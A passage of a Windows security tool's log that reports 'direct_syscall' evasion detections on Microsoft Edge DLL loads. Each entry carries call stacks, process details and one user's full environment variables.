(x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8edd48d7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8edd4839 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f7d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4178486 + Pid: 7364 + Tid: 4644 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9530436 +0100 CET + Params: base_address➜ 7ffc9ff50000, checksum➜ 152894, default_address➜ 7ffc9ff50000, file_path➜ C:\Windows\System32\AssignedAccessRuntime.dll, image_size➜ 90112, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd6187d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd6172ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffc8e8f2441 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f235a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f2295 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f2204 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f21aa C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebaa5d1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4178511 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9538478 +0100 CET + Params: base_address➜ 7ffcdd2f0000, checksum➜ 1455420, default_address➜ 7ffcdd2f0000, file_path➜ C:\Windows\System32\msctf.dll, image_size➜ 1433600, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcddb49542 C:\Windows\System32\imm32.dll!CtfImmNotify|0x7ffcddb4c440 C:\Windows\System32\imm32.dll!ImmWINNLSGetIMEHotkey|0x7ffcddb48f8c C:\Windows\System32\imm32.dll!CtfImmDispatchDefImeMessage|0x7ffcdd12c21a C:\Windows\System32\user32.dll!GetCapture|0x7ffcdd12c186 C:\Windows\System32\user32.dll!GetCapture|0x7ffcdd137846 C:\Windows\System32\user32.dll!CallWindowProcW|0x7ffcdd1370cc C:\Windows\System32\user32.dll!SendMessageW|0x7ffcdd155f4e C:\Windows\System32\user32.dll!User32InitializeImmEntryTable|0x7ffcdeb45ce4 C:\Windows\System32\ntdll.dll!KiUserCallbackDispatcher|0xfffff804754fcd69 C:\WINDOWS\system32\ntoskrnl.exe!KeUserModeCallback+0x299|0xfffff80420e27854 C:\WINDOWS\System32\win32kfull.sys!zzzResetSharedDesktops+0x32c4|0xfffff80420c7b325 C:\WINDOWS\System32\win32kfull.sys!NtUserCallNextHookEx+0xa55|0xfffff80420c1c024 C:\WINDOWS\System32\win32kfull.sys!xxxWindowEvent+0x1c74|0xfffff80420c27b01 C:\WINDOWS\System32\win32kfull.sys!NtUserCreateWindowEx+0x30a1|0xfffff80420c1880d C:\WINDOWS\System32\win32kfull.sys!NtUserQueryInformationThread+0xa1d|0xfffff80420c27d69 C:\WINDOWS\System32\win32kfull.sys!NtUserCreateWindowEx+0x3309|0xfffff80420c250d5 C:\WINDOWS\System32\win32kfull.sys!NtUserCreateWindowEx+0x675|0xfffff804069052b0 C:\WINDOWS\System32\win32k.sys!EngReleaseSemaphore+0x1e40|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffcdc272084 C:\Windows\System32\win32u.dll!NtUserCreateWindowEx|0x7ffcdd14804a C:\Windows\System32\user32.dll!CreateWindowExW|0x7ffcdd147bd7 C:\Windows\System32\user32.dll!CreateWindowExW|0x7ffcdd1479e2 C:\Windows\System32\user32.dll!CreateWindowExW|0x7ffc8cec25f4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0be0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0ba8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec094a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4178568 + Pid: 7364 + Tid: 4644 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9559689 +0100 CET + Params: base_address➜ 7ffcc46e0000, checksum➜ 1126562, default_address➜ 7ffcc46e0000, file_path➜ C:\Windows\System32\SystemSettings.DataModel.dll, image_size➜ 1105920, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual 